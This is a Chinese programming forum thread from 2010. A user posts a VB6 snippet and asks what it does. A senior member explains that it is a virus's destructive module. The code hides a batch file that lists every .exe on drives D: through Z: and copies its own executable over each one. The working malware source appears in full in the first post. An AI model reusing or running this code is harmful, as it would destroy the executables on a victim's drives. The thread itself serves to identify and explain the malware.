| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 613 人关注过本帖
标题:这段代码是干什么的
只看楼主 加入收藏
wangxiao3571
Rank: 2
来 自:济宁
等 级:论坛游民
帖 子:55
专家分:47
注 册:2010-2-23
结帖率:100%
收藏
 问题点数:0 回复次数:3 
这段代码是干什么的
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Form_Load()
On Error Resume Next ’容错句
If Dir("c:\123.txt") = "" Then ’如果123.txt不存在则创建 bat遍历exe文件
Open "c:\a.bat" For Output As #1 ’打开bat文件
Print #1, "for %%a in (d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: x: y: z:) do dir /s/b %%a\*.exe >>e:\123.txt" ’写入数据
Close #1 ’关闭文件
Sleep 200 ’延时200秒等待文件生成(主要为了慢机器)
Shell "c:\a.bat", 0 ’隐藏运行之
End If
Sleep 60000 ’延时1分钟等待exe遍历完成
Dim A() As String
Dim C As Long, I As Integer
Open "c:\123.txt" For Input As #1 ’读取txt里面的内容
Do While EOF(1) = False
ReDim Preserve A(C)
Input #1, A(C)
C = C + 1
Loop
Close #1
For I = 0 To C - 1
FileCopy App.Path & "\" & App.EXEName & ".exe", A(I) ’把txt里面的内容替换掉
Next
End Sub  
搜索更多相关主题的帖子: 代码 
2010-04-30 00:05
风吹过b
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
等 级:贵宾
威 望:364
帖 子:4947
专家分:30084
注 册:2008-10-15
收藏
得分:0 
搜索硬盘上除 C 盘以后的外所有EXE, 然后用自身覆盖掉了.

这是 病毒(注意不是木马) 的恶烈 破坏模块.
一但执行,你等着全硬盘 formta 做系统就是了.
恶劣程度可以比得上 熊猫烧香 了.


授人于鱼,不如授人于渔
早已停用QQ了
2010-04-30 07:57
wangxiao3571
Rank: 2
来 自:济宁
等 级:论坛游民
帖 子:55
专家分:47
注 册:2010-2-23
收藏
得分:0 
明白了,谢谢
2010-04-30 10:12
WolvesReborn
该用户已被删除
收藏
得分:0 
提示: 作者被禁止或删除 内容自动屏蔽
2010-05-02 18:33
快速回复:这段代码是干什么的
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.050229 second(s), 7 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved